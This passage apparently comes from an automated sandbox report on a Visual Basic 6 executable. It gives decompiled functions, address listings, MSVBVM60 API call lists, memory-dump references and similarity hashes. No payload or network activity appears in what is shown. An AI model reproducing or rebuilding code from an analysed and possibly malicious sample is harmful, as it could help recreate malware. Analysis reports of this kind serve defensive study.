                    • Instruction Fuzzy Hash: 44513970D40209EFCB01EFA4D855BEEBBB5BF09704F20486AF501BB2A1C7795945DB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 46%
                    			E004177DC(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0) {
                    				intOrPtr _v8;
                    				long long* _v12;
                    				void* _v24;
                    				signed int _v28;
                    				char _v32;
                    				intOrPtr _v40;
                    				char _v48;
                    				intOrPtr _v56;
                    				char _v64;
                    				char _v72;
                    				char _v80;
                    				void* _v100;
                    				signed int _v104;
                    				intOrPtr _v112;
                    				intOrPtr* _v116;
                    				signed int _v120;
                    				signed int _v124;
                    				intOrPtr* _v128;
                    				signed int _v132;
                    				char* _t65;
                    				signed int _t69;
                    				signed int _t76;
                    				signed int _t82;
                    				char* _t88;
                    				long long* _t98;
                    				signed int _t101;
                    				long long _t106;
                    
                    				_t106 = __fp0;
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t98;
                    				_push(0x70);
                    				L004014B0();
                    				_v12 = _t98;
                    				_v8 = 0x4013c8;
                    				if( *0x419010 != 0) {
                    					_v116 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v116 = 0x419010;
                    				}
                    				_t65 =  &_v32;
                    				L0040169C();
                    				_v100 = _t65;
                    				_v72 = 0x80020004;
                    				_v80 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t69 =  *((intOrPtr*)( *_v100 + 0x1b0))(_v100, 0x10, _t65,  *((intOrPtr*)( *((intOrPtr*)( *_v116)) + 0x360))( *_v116));
                    				asm("fclex");
                    				_v104 = _t69;
                    				_t101 = _v104;
                    				if(_t101 >= 0) {
                    					_v120 = _v120 & 0x00000000;
                    				} else {
                    					_push(0x1b0);
                    					_push(0x4113cc);
                    					_push(_v100);
                    					_push(_v104);
                    					L00401690();
                    					_v120 = _t69;
                    				}
                    				_t88 =  &_v32;
                    				L0040168A();
                    				_v56 = 0x80020004;
                    				_v64 = 0xa;
                    				_v40 = 0x80020004;
                    				_v48 = 0xa;
                    				_push( &_v64);
                    				_push( &_v48);
                    				asm("fld1");
                    				_push(_t88);
                    				_push(_t88);
                    				_v64 = _t106;
                    				asm("fld1");
                    				_push(_t88);
                    				_push(_t88);
                    				_v72 = _t106;
                    				asm("fld1");
                    				_push(_t88);
                    				_push(_t88);
                    				_v80 = _t106;
                    				asm("fld1");
                    				_push(_t88);
                    				_push(_t88);
                    				 *_t98 = _t106;
                    				L00401570();
                    				L004015E2();
                    				asm("fcomp qword [0x4013c0]");
                    				asm("fnstsw ax");
                    				asm("sahf");
                    				if(_t101 == 0) {
                    					_v124 = _v124 & 0x00000000;
                    				} else {
                    					_v124 = 1;
                    				}
                    				_v100 =  ~_v124;
                    				_push( &_v64);
                    				_push( &_v48);
                    				_push(2);
                    				L00401666();
                    				_t76 = _v100;
                    				if(_t76 != 0) {
                    					if( *0x41931c != 0) {
                    						_v128 = 0x41931c;
                    					} else {
                    						_push(0x41931c);
                    						_push(0x41137c);
                    						L00401696();
                    						_v128 = 0x41931c;
                    					}
                    					_v100 =  *_v128;
                    					_t82 =  *((intOrPtr*)( *_v100 + 0x48))(_v100, 0x2f,  &_v28);
                    					asm("fclex");
                    					_v104 = _t82;
                    					if(_v104 >= 0) {
                    						_v132 = _v132 & 0x00000000;
                    					} else {
                    						_push(0x48);
                    						_push(0x41136c);
                    						_push(_v100);
                    						_push(_v104);
                    						L00401690();
                    						_v132 = _t82;
                    					}
                    					_t76 = _v28;
                    					_v112 = _t76;
                    					_v28 = _v28 & 0x00000000;
                    					L00401648();
                    				}
                    				asm("wait");
                    				_push(0x4179e4);
                    				L0040165A();
                    				return _t76;
                    			}






























                    0x004177dc
                    0x004177e1
                    0x004177ec
                    0x004177ed
                    0x004177f4
                    0x004177f7
                    0x004177ff
                    0x00417802
                    0x00417810
                    0x0041782a
                    0x00417812
                    0x00417812
                    0x00417817
                    0x0041781c
                    0x00417821
                    0x00417821
                    0x00417845
                    0x00417849
                    0x0041784e
                    0x00417851
                    0x00417858
                    0x00417862
                    0x0041786c
                    0x0041786d
                    0x0041786e
                    0x0041786f
                    0x00417878
                    0x0041787e
                    0x00417880
                    0x00417883
                    0x00417887
                    0x004178a3
                    0x00417889
                    0x00417889
                    0x0041788e
                    0x00417893
                    0x00417896
                    0x00417899
                    0x0041789e
                    0x0041789e
                    0x004178a7
                    0x004178aa
                    0x004178af
                    0x004178b6
                    0x004178bd
                    0x004178c4
                    0x004178ce
                    0x004178d2
                    0x004178d3
                    0x004178d5
                    0x004178d6
                    0x004178d7
                    0x004178da
                    0x004178dc
                    0x004178dd
                    0x004178de
                    0x004178e1
                    0x004178e3
                    0x004178e4
                    0x004178e5
                    0x004178e8
                    0x004178ea
                    0x004178eb
                    0x004178ec
                    0x004178ef
                    0x004178f4
                    0x004178f9
                    0x004178ff
                    0x00417901
                    0x00417902
                    0x0041790d
                    0x00417904
                    0x00417904
                    0x00417904
                    0x00417916
                    0x0041791d
                    0x00417921
                    0x00417922
                    0x00417924
                    0x0041792c
                    0x00417932
                    0x0041793b
                    0x00417955
                    0x0041793d
                    0x0041793d
                    0x00417942
                    0x00417947
                    0x0041794c
                    0x0041794c
                    0x00417961
                    0x00417972
                    0x00417975
                    0x00417977
                    0x0041797e
                    0x00417997
                    0x00417980
                    0x00417980
                    0x00417982
                    0x00417987
                    0x0041798a
                    0x0041798d
                    0x00417992
                    0x00417992
                    0x0041799b
                    0x0041799e
                    0x004179a1
                    0x004179ab
                    0x004179ab
                    0x004179b0
                    0x004179b1
                    0x004179de
                    0x004179e3

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 004177F7
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 0041781C
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417849
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00417862
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 00417899
                    • __vbaFreeObj.MSVBVM60(00000000,?,004113CC,000001B0), ref: 004178AA
                    • #674.MSVBVM60(?,?,?,?,?,?,?,?,0000000A,0000000A), ref: 004178EF
                    • __vbaFpR8.MSVBVM60(?,?,?,?,?,?,?,?,0000000A,0000000A), ref: 004178F4
                    • __vbaFreeVarList.MSVBVM60(00000002,0000000A,0000000A,?,?,?,?,?,?,?,?,0000000A,0000000A), ref: 00417924
                    • __vbaNew2.MSVBVM60(0041137C,0041931C), ref: 00417947
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000048), ref: 0041798D
                    • __vbaStrMove.MSVBVM60(00000000,?,0041136C,00000048), ref: 004179AB
                    • __vbaFreeStr.MSVBVM60(004179E4), ref: 004179DE
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckChkstkHresultNew2$#674ListMove
                    • String ID:
                    • API String ID: 3214852864-0
                    • Opcode ID: 4998d1d99c2f04a68e7bb8b60e48593e95a8c9760206ff8a3787e3b1952362ca
                    • Instruction ID: 5ce26b7c2449908aedc44813952c88c467bbe1293d30b0f83c6254ba3647735b
                    • Opcode Fuzzy Hash: 4998d1d99c2f04a68e7bb8b60e48593e95a8c9760206ff8a3787e3b1952362ca
                    • Instruction Fuzzy Hash: 1F5129B0D14308EFDB10EFA1C849BEEBBB9FF08704F20452AE505AB2A1D7795944CB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 56%
                    			E00417C61(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8, void* _a32) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				void* _v24;
                    				void* _v28;
                    				intOrPtr _v32;
                    				intOrPtr _v36;
                    				char _v40;
                    				intOrPtr _v48;
                    				intOrPtr _v56;
                    				intOrPtr* _v60;
                    				signed int _v64;
                    				intOrPtr* _v72;
                    				signed int _v76;
                    				char* _t37;
                    				signed int _t41;
                    				intOrPtr _t60;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t60;
                    				_push(0x38);
                    				L004014B0();
                    				_v12 = _t60;
                    				_v8 = 0x4013f0;
                    				L00401684();
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v72 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v72 = 0x419010;
                    				}
                    				_t37 =  &_v40;
                    				L0040169C();
                    				_v60 = _t37;
                    				_v48 = 0x80020004;
                    				_v56 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t41 =  *((intOrPtr*)( *_v60 + 0x12c))(_v60, 0x10, _t37,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x35c))( *_v72));
                    				asm("fclex");
                    				_v64 = _t41;
                    				if(_v64 >= 0) {
                    					_v76 = _v76 & 0x00000000;
                    				} else {
                    					_push(0x12c);
                    					_push(0x4114a8);
                    					_push(_v60);
                    					_push(_v64);
                    					L00401690();
                    					_v76 = _t41;
                    				}
                    				L0040168A();
                    				_v36 = 0x114f9390;
                    				_v32 = 0x5b02;
                    				_push(0x417d79);
                    				L0040165A();
                    				L0040165A();
                    				return _t41;
                    			}



















                    0x00417c66
                    0x00417c71
                    0x00417c72
                    0x00417c79
                    0x00417c7c
                    0x00417c84
                    0x00417c87
                    0x00417c94
                    0x00417c9f
                    0x00417cab
                    0x00417cc5
                    0x00417cad
                    0x00417cad
                    0x00417cb2
                    0x00417cb7
                    0x00417cbc
                    0x00417cbc
                    0x00417ce0
                    0x00417ce4
                    0x00417ce9
                    0x00417cec
                    0x00417cf3
                    0x00417cfd
                    0x00417d07
                    0x00417d08
                    0x00417d09
                    0x00417d0a
                    0x00417d13
                    0x00417d19
                    0x00417d1b
                    0x00417d22
                    0x00417d3e
                    0x00417d24
                    0x00417d24
                    0x00417d29
                    0x00417d2e
                    0x00417d31
                    0x00417d34
                    0x00417d39
                    0x00417d39
                    0x00417d45
                    0x00417d4a
                    0x00417d51
                    0x00417d58
                    0x00417d6b
                    0x00417d73
                    0x00417d78

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00417C7C
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417C94
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00417C9F
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00417CB7
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417CE4
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00417CFD
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,0000012C), ref: 00417D34
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417D45
                    • __vbaFreeStr.MSVBVM60(00417D79,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417D6B
                    • __vbaFreeStr.MSVBVM60(00417D79,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00417D73
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$ChkstkCopy$CheckHresultNew2
                    • String ID:
                    • API String ID: 3000170971-0
                    • Opcode ID: 1e5ab4a5a54024b289855df406511fdfdb98aabd714c6cde12855c454f84220a
                    • Instruction ID: 4a447719ee8cf3acf614fd9626a66d5acf36333ca83f9d5af589c0eb86738892
                    • Opcode Fuzzy Hash: 1e5ab4a5a54024b289855df406511fdfdb98aabd714c6cde12855c454f84220a
                    • Instruction Fuzzy Hash: D4314F70900608AFCB00EF91D996BEEBBB5EF18708F20452AF501772A1DB796945CF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 64%
                    			E00415CCA(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				short _v28;
                    				char _v32;
                    				void* _v36;
                    				intOrPtr* _v40;
                    				signed int _v44;
                    				intOrPtr* _v56;
                    				signed int _v60;
                    				intOrPtr* _v64;
                    				signed int _v68;
                    				char* _t54;
                    				signed int _t57;
                    				char* _t61;
                    				signed int _t65;
                    				short _t66;
                    				void* _t78;
                    				void* _t80;
                    				intOrPtr _t81;
                    
                    				_t81 = _t80 - 0xc;
                    				 *[fs:0x0] = _t81;
                    				L004014B0();
                    				_v16 = _t81;
                    				_v12 = 0x4012f0;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x2c,  *[fs:0x0], 0x4014b6, _t78);
                    				if( *0x419010 != 0) {
                    					_v56 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v56 = 0x419010;
                    				}
                    				_t54 =  &_v32;
                    				L0040169C();
                    				_v40 = _t54;
                    				_t57 =  *((intOrPtr*)( *_v40 + 0x128))(_v40, _t54,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x354))( *_v56));
                    				asm("fclex");
                    				_v44 = _t57;
                    				if(_v44 >= 0) {
                    					_v60 = _v60 & 0x00000000;
                    				} else {
                    					_push(0x128);
                    					_push(0x4114a8);
                    					_push(_v40);
                    					_push(_v44);
                    					L00401690();
                    					_v60 = _t57;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v64 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v64 = 0x419010;
                    				}
                    				_t61 =  &_v32;
                    				L0040169C();
                    				_v40 = _t61;
                    				_t65 =  *((intOrPtr*)( *_v40 + 0xc8))(_v40,  &_v36, _t61,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x34c))( *_v64));
                    				asm("fclex");
                    				_v44 = _t65;
                    				if(_v44 >= 0) {
                    					_v68 = _v68 & 0x00000000;
                    				} else {
                    					_push(0xc8);
                    					_push(0x4114a8);
                    					_push(_v40);
                    					_push(_v44);
                    					L00401690();
                    					_v68 = _t65;
                    				}
                    				_t66 = _v36;
                    				_v28 = _t66;
                    				L0040168A();
                    				_push(0x415e35);
                    				return _t66;
                    			}























                    0x00415ccd
                    0x00415cdc
                    0x00415ce6
                    0x00415cee
                    0x00415cf1
                    0x00415cf8
                    0x00415d07
                    0x00415d11
                    0x00415d2b
                    0x00415d13
                    0x00415d13
                    0x00415d18
                    0x00415d1d
                    0x00415d22
                    0x00415d22
                    0x00415d46
                    0x00415d4a
                    0x00415d4f
                    0x00415d5a
                    0x00415d60
                    0x00415d62
                    0x00415d69
                    0x00415d85
                    0x00415d6b
                    0x00415d6b
                    0x00415d70
                    0x00415d75
                    0x00415d78
                    0x00415d7b
                    0x00415d80
                    0x00415d80
                    0x00415d8c
                    0x00415d98
                    0x00415db2
                    0x00415d9a
                    0x00415d9a
                    0x00415d9f
                    0x00415da4
                    0x00415da9
                    0x00415da9
                    0x00415dcd
                    0x00415dd1
                    0x00415dd6
                    0x00415de5
                    0x00415deb
                    0x00415ded
                    0x00415df4
                    0x00415e10
                    0x00415df6
                    0x00415df6
                    0x00415dfb
                    0x00415e00
                    0x00415e03
                    0x00415e06
                    0x00415e0b
                    0x00415e0b
                    0x00415e14
                    0x00415e18
                    0x00415e1f
                    0x00415e24
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00415CE6
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415D1D
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00415D4A
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,00000128), ref: 00415D7B
                    • __vbaFreeObj.MSVBVM60 ref: 00415D8C
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415DA4
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00415DD1
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114A8,000000C8), ref: 00415E06
                    • __vbaFreeObj.MSVBVM60 ref: 00415E1F
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$CheckFreeHresultNew2$Chkstk
                    • String ID:
                    • API String ID: 3581712425-0
                    • Opcode ID: b402a14f8dabf2321056c03443e53eb31a31bc9c059a4466a04007fddd73fc92
                    • Instruction ID: 78ac72091cb94daf1840e372e96ce7d68da3bc8778480238bc2fd6d7ed9a9973
                    • Opcode Fuzzy Hash: b402a14f8dabf2321056c03443e53eb31a31bc9c059a4466a04007fddd73fc92
                    • Instruction Fuzzy Hash: D5410774D01608EFCB00DF90D999BDDBBB9BF08705F24446AF101BB2A0C77A5985DB68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E00415601(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v24;
                    				intOrPtr _v28;
                    				void* _v32;
                    				char _v36;
                    				intOrPtr _v44;
                    				intOrPtr _v52;
                    				intOrPtr* _v56;
                    				signed int _v60;
                    				intOrPtr* _v68;
                    				signed int _v72;
                    				char* _t34;
                    				signed int _t38;
                    				intOrPtr _t54;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t54;
                    				_push(0x34);
                    				L004014B0();
                    				_v12 = _t54;
                    				_v8 = 0x4012a8;
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v68 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v68 = 0x419010;
                    				}
                    				_t34 =  &_v36;
                    				L0040169C();
                    				_v56 = _t34;
                    				_v44 = 0x80020004;
                    				_v52 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t38 =  *((intOrPtr*)( *_v56 + 0x188))(_v56, 0x10, _t34,  *((intOrPtr*)( *((intOrPtr*)( *_v68)) + 0x338))( *_v68));
                    				asm("fclex");
                    				_v60 = _t38;
                    				if(_v60 >= 0) {
                    					_v72 = _v72 & 0x00000000;
                    				} else {
                    					_push(0x188);
                    					_push(0x4113bc);
                    					_push(_v56);
                    					_push(_v60);
                    					L00401690();
                    					_v72 = _t38;
                    				}
                    				L0040168A();
                    				_v28 = 0xf6a2aca0;
                    				_v24 = 0x5afa;
                    				_push(0x415706);
                    				L0040165A();
                    				return _t38;
                    			}


















                    0x00415606
                    0x00415611
                    0x00415612
                    0x00415619
                    0x0041561c
                    0x00415624
                    0x00415627
                    0x00415634
                    0x00415640
                    0x0041565a
                    0x00415642
                    0x00415642
                    0x00415647
                    0x0041564c
                    0x00415651
                    0x00415651
                    0x00415675
                    0x00415679
                    0x0041567e
                    0x00415681
                    0x00415688
                    0x00415692
                    0x0041569c
                    0x0041569d
                    0x0041569e
                    0x0041569f
                    0x004156a8
                    0x004156ae
                    0x004156b0
                    0x004156b7
                    0x004156d3
                    0x004156b9
                    0x004156b9
                    0x004156be
                    0x004156c3
                    0x004156c6
                    0x004156c9
                    0x004156ce
                    0x004156ce
                    0x004156da
                    0x004156df
                    0x004156e6
                    0x004156ed
                    0x00415700
                    0x00415705

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 0041561C
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00415634
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 0041564C
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00415679
                    • __vbaChkstk.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00415692
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000188), ref: 004156C9
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004156DA
                    • __vbaFreeStr.MSVBVM60(00415706,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00415700
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$ChkstkFree$CheckCopyHresultNew2
                    • String ID:
                    • API String ID: 2888502551-0
                    • Opcode ID: fb250b6313d6290fbf7644aa00421fcd12e4ebc9873c329fe69ac7160968ad75
                    • Instruction ID: bb9d890e4c88b4172742e227dd0a66a0b13950509dce444d59fac447dc343077
                    • Opcode Fuzzy Hash: fb250b6313d6290fbf7644aa00421fcd12e4ebc9873c329fe69ac7160968ad75
                    • Instruction Fuzzy Hash: 0A21F770900608EFCB10DF90D896BDEBBB9BF59704F60452AF5017B2A0DBB96941CB59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E004180FA(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a20) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				short _v24;
                    				void* _v28;
                    				void* _v32;
                    				void* _v36;
                    				intOrPtr* _v40;
                    				signed int _v44;
                    				intOrPtr* _v48;
                    				signed int _v52;
                    				intOrPtr* _v60;
                    				signed int _v64;
                    				signed int _v68;
                    				signed int _t44;
                    				signed int _t49;
                    				short _t50;
                    				intOrPtr _t61;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t61;
                    				_push(0x30);
                    				L004014B0();
                    				_v12 = _t61;
                    				_v8 = 0x401430;
                    				L00401684();
                    				if( *0x41931c != 0) {
                    					_v60 = 0x41931c;
                    				} else {
                    					_push(0x41931c);
                    					_push(0x41137c);
                    					L00401696();
                    					_v60 = 0x41931c;
                    				}
                    				_v40 =  *_v60;
                    				_t44 =  *((intOrPtr*)( *_v40 + 0x14))(_v40,  &_v32);
                    				asm("fclex");
                    				_v44 = _t44;
                    				if(_v44 >= 0) {
                    					_v64 = _v64 & 0x00000000;
                    				} else {
                    					_push(0x14);
                    					_push(0x41136c);
                    					_push(_v40);
                    					_push(_v44);
                    					L00401690();
                    					_v64 = _t44;
                    				}
                    				_v48 = _v32;
                    				_t49 =  *((intOrPtr*)( *_v48 + 0xc0))(_v48,  &_v36);
                    				asm("fclex");
                    				_v52 = _t49;
                    				if(_v52 >= 0) {
                    					_v68 = _v68 & 0x00000000;
                    				} else {
                    					_push(0xc0);
                    					_push(0x4114f4);
                    					_push(_v48);
                    					_push(_v52);
                    					L00401690();
                    					_v68 = _t49;
                    				}
                    				_t50 = _v36;
                    				_v24 = _t50;
                    				L0040168A();
                    				_push(0x418201);
                    				L0040165A();
                    				return _t50;
                    			}




















                    0x004180ff
                    0x0041810a
                    0x0041810b
                    0x00418112
                    0x00418115
                    0x0041811d
                    0x00418120
                    0x0041812d
                    0x00418139
                    0x00418153
                    0x0041813b
                    0x0041813b
                    0x00418140
                    0x00418145
                    0x0041814a
                    0x0041814a
                    0x0041815f
                    0x0041816e
                    0x00418171
                    0x00418173
                    0x0041817a
                    0x00418193
                    0x0041817c
                    0x0041817c
                    0x0041817e
                    0x00418183
                    0x00418186
                    0x00418189
                    0x0041818e
                    0x0041818e
                    0x0041819a
                    0x004181a9
                    0x004181af
                    0x004181b1
                    0x004181b8
                    0x004181d4
                    0x004181ba
                    0x004181ba
                    0x004181bf
                    0x004181c4
                    0x004181c7
                    0x004181ca
                    0x004181cf
                    0x004181cf
                    0x004181d8
                    0x004181dc
                    0x004181e3
                    0x004181e8
                    0x004181fb
                    0x00418200

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00418115
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041812D
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,004014B6), ref: 00418145
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,00000014,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 00418189
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004114F4,000000C0,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004181CA
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004181E3
                    • __vbaFreeStr.MSVBVM60(00418201,?,?,?,?,?,?,?,?,?,?,?,?,?,004014B6), ref: 004181FB
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$CheckFreeHresult$ChkstkCopyNew2
                    • String ID:
                    • API String ID: 746201682-0
                    • Opcode ID: 61c2af740f2af4d19bb475e04919424fa449aedc5496dbb66da7e8387c15286b
                    • Instruction ID: 4b077bc0efd432074b6563fd5fe01487cf721cf726d4b024651757f6c9f43edc
                    • Opcode Fuzzy Hash: 61c2af740f2af4d19bb475e04919424fa449aedc5496dbb66da7e8387c15286b
                    • Instruction Fuzzy Hash: 3031E275D00209EFDB00DF95C885BEEBBB4BF08714F10852AF911B72A0DB7959868B68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 66%
                    			E0041430E(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a32) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				void* _v28;
                    				long long _v36;
                    				char _v40;
                    				intOrPtr* _v44;
                    				signed int _v48;
                    				intOrPtr* _v60;
                    				signed int _v64;
                    				char* _t37;
                    				signed int _t40;
                    				void* _t51;
                    				void* _t53;
                    				intOrPtr _t54;
                    
                    				_t54 = _t53 - 0xc;
                    				 *[fs:0x0] = _t54;
                    				L004014B0();
                    				_v16 = _t54;
                    				_v12 = 0x4011a8;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x28,  *[fs:0x0], 0x4014b6, _t51);
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v60 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v60 = 0x419010;
                    				}
                    				_t37 =  &_v40;
                    				L0040169C();
                    				_v44 = _t37;
                    				_t40 =  *((intOrPtr*)( *_v44 + 0x1bc))(_v44, _t37,  *((intOrPtr*)( *((intOrPtr*)( *_v60)) + 0x340))( *_v60));
                    				asm("fclex");
                    				_v48 = _t40;
                    				if(_v48 >= 0) {
                    					_v64 = _v64 & 0x00000000;
                    				} else {
                    					_push(0x1bc);
                    					_push(0x4113cc);
                    					_push(_v44);
                    					_push(_v48);
                    					L00401690();
                    					_v64 = _t40;
                    				}
                    				L0040168A();
                    				_v36 =  *0x4011a0;
                    				asm("wait");
                    				_push(0x414403);
                    				L0040165A();
                    				return _t40;
                    			}


















                    0x00414311
                    0x00414320
                    0x0041432a
                    0x00414332
                    0x00414335
                    0x0041433c
                    0x0041434b
                    0x00414354
                    0x00414360
                    0x0041437a
                    0x00414362
                    0x00414362
                    0x00414367
                    0x0041436c
                    0x00414371
                    0x00414371
                    0x00414395
                    0x00414399
                    0x0041439e
                    0x004143a9
                    0x004143af
                    0x004143b1
                    0x004143b8
                    0x004143d4
                    0x004143ba
                    0x004143ba
                    0x004143bf
                    0x004143c4
                    0x004143c7
                    0x004143ca
                    0x004143cf
                    0x004143cf
                    0x004143db
                    0x004143e6
                    0x004143e9
                    0x004143ea
                    0x004143fd
                    0x00414402

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 0041432A
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00414354
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 0041436C
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414399
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001BC), ref: 004143CA
